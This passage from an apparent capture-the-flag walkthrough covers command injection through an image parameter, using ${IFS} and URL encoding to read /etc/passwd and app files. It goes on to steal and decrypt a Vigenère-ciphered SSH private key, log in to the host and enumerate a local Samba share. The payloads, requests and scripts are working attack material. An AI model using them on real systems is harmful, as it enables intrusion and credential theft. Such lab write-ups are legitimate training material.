&lt;td&gt;&lt;code&gt;%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fapp.py&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cat /app/start.sh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/passwd;cat${IFS}/app/start.sh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fstart.sh&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cat /app/Dockerfile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/passwd;cat${IFS}/app/Dockerfile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2FDockerfile&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ls -la /home/zac/notes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/passwd;ls${IFS}-la${IFS}/home/zac/notes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%2Fetc%2Fpasswd%3Bls%24%7BIFS%7D-la%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cat /home/zac/notes/.secret&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/passwd;cat${IFS}/home/zac/notes/.secret&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes%2F.secret&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cat /home/zac/notes/.id_rsa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/passwd;cat${IFS}/home/zac/notes/.id_rsa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes%2F.id_rsa&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Gotcha: in a shell wrapper, do &lt;strong&gt;not&lt;/strong&gt; write &lt;code&gt;\${IFS}&lt;/code&gt; — the backslash is sent literally&lt;br&gt;
and the command fails with &lt;code&gt;cannot access '...\${IFS}...'&lt;/code&gt;. Emit a real &lt;code&gt;${IFS}&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  13. Container and deployment enumeration
&lt;/h2&gt;

&lt;p&gt;Read the app and launcher:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/photos?image=%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fstart.sh&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.113.167.11:8080&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;login=hayley_is_admin&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/app/start.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

/usr/bin/docker build &lt;span class="nt"&gt;-t&lt;/span&gt; https /var/www/https

/usr/bin/docker container run &lt;span class="nt"&gt;--detach&lt;/span&gt; &lt;span class="nt"&gt;--privileged&lt;/span&gt; &lt;span class="nt"&gt;--restart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;unless-stopped &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:8080 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,source&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/home/zac/notes"&lt;/span&gt;,target&lt;span class="o"&gt;=&lt;/span&gt;/home/zac/notes https
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two critical facts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;the container is &lt;strong&gt;&lt;code&gt;--privileged&lt;/code&gt;&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;the host directory &lt;strong&gt;&lt;code&gt;/home/zac/notes&lt;/code&gt; is bind-mounted&lt;/strong&gt; into it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;/app/Dockerfile&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; python:2.7-alpine&lt;/span&gt;
&lt;span class="k"&gt;MAINTAINER&lt;/span&gt;&lt;span class="s"&gt; jakeyee and bobloblaw&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . /app&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt

&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 8080&lt;/span&gt;
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["python"]&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["app.py"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Container identity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt;          &lt;span class="c"&gt;# 67397bb74710&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/os-release
&lt;span class="c"&gt;# NAME="Alpine Linux"&lt;/span&gt;
&lt;span class="c"&gt;# VERSION_ID=3.11.5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Host-mounted notes
&lt;/h2&gt;

&lt;p&gt;Because the host directory is mounted, the container can read it directly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/photos?image=%2Fetc%2Fpasswd%3Bls%24%7BIFS%7D-la%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.113.167.11:8080&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;login=hayley_is_admin&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Listing includes &lt;code&gt;.secret&lt;/code&gt; and &lt;code&gt;.id_rsa&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;.secret&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Zac,

I know you can never remember your password, so I left your private key here so you don't
have to use a password. I ciphered it in case we suffer another hack, but I know you
remember how to get the key to the cipher if you can't remember that either.

- Paramore
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;.id_rsa&lt;/code&gt; is not a usable PEM — it is the base64 key body with a substitution cipher.&lt;br&gt;
Save it locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# paste the response body into:&lt;/span&gt;
loot/zac/id_rsa.ciphered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15. Recovering the Vigenère-ciphered RSA key
&lt;/h2&gt;

&lt;p&gt;The note says "I ciphered it … remember how to get the key to the cipher". A 2048-bit&lt;br&gt;
PKCS#1 RSA private key's base64 body starts with a known prefix, usually&lt;br&gt;
&lt;code&gt;MIIEowIBAAKCAQEA&lt;/code&gt;. That is enough to derive the Vigenère key stream.&lt;/p&gt;

&lt;p&gt;Derive the first 16 key characters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ct&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;loot/zac/id_rsa.ciphered&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;known&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MIIEowIBAAKCAQEA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;stream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ct&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isalpha&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isalpha&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# butterflybutterf
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The repeating key is &lt;strong&gt;&lt;code&gt;butterfly&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Decrypt the whole body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;

&lt;span class="n"&gt;ct&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;loot/zac/id_rsa.ciphered&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;butterfly&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ki&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ct&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isalpha&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ki&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isupper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;ki&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;-----END RSA PRIVATE KEY-----&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;loot/zac/id_rsa&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Critical detail: &lt;strong&gt;the key advances only on alphabetic characters&lt;/strong&gt;. Digits, &lt;code&gt;+&lt;/code&gt;, and &lt;code&gt;/&lt;/code&gt;&lt;br&gt;
are copied unchanged and do &lt;strong&gt;not&lt;/strong&gt; consume a key character. Advancing on every character&lt;br&gt;
produces a DER that looks plausible but fails ASN.1 parsing.&lt;/p&gt;

&lt;p&gt;Validate and lock down permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;600 loot/zac/id_rsa
openssl rsa &lt;span class="nt"&gt;-in&lt;/span&gt; loot/zac/id_rsa &lt;span class="nt"&gt;-check&lt;/span&gt; &lt;span class="nt"&gt;-noout&lt;/span&gt;
&lt;span class="c"&gt;# RSA key ok&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  16. SSH as zac
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; loot/zac/id_rsa &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;StrictHostKeyChecking&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;UserKnownHostsFile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  zac@10.113.167.11 &lt;span class="s1"&gt;'id; hostname; cat /etc/os-release | head -2'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=1001(zac) gid=1001(zac) groups=1001(zac)
misguided_ghosts
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We are now on the &lt;strong&gt;host&lt;/strong&gt;, not the container.&lt;/p&gt;




&lt;h2&gt;
  
  
  17. Host enumeration and SMB discovery
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; loot/zac/id_rsa zac@10.113.167.11 &lt;span class="s1"&gt;'
  echo "== id =="; id
  echo "== home =="; ls -la /home/zac
  echo "== /home =="; ls -la /home
  echo "== listening =="; ss -tlnp
  echo "== samba =="; ps aux | grep -Ei "smb|samba" | grep -v grep
'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Findings:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/home/zac/notes&lt;/code&gt; is the same directory that was mounted into the container.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/home/hayley&lt;/code&gt; is &lt;code&gt;drwxr-x--- hayley hayley&lt;/code&gt; — not readable as &lt;code&gt;zac&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;SMB is listening, but &lt;strong&gt;only on loopback&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LISTEN 0 128 127.0.0.1:139 0.0.0.0:*
LISTEN 0 128 127.0.0.1:445 0.0.0.0:*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read the Samba config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/samba/smb.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relevant share:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[local]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="py"&gt;comment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Local list of passwords for our services&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="py"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/var/smb&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="py"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="py"&gt;browsable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;guest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="py"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;guest ok = yes&lt;/code&gt; means anonymous access. But the service is bound to localhost, so we need&lt;br&gt;
a tunnel.&lt;/p&gt;


&lt;h2&gt;
  
  
  18. SMB tunnel and password list
&lt;/h2&gt;

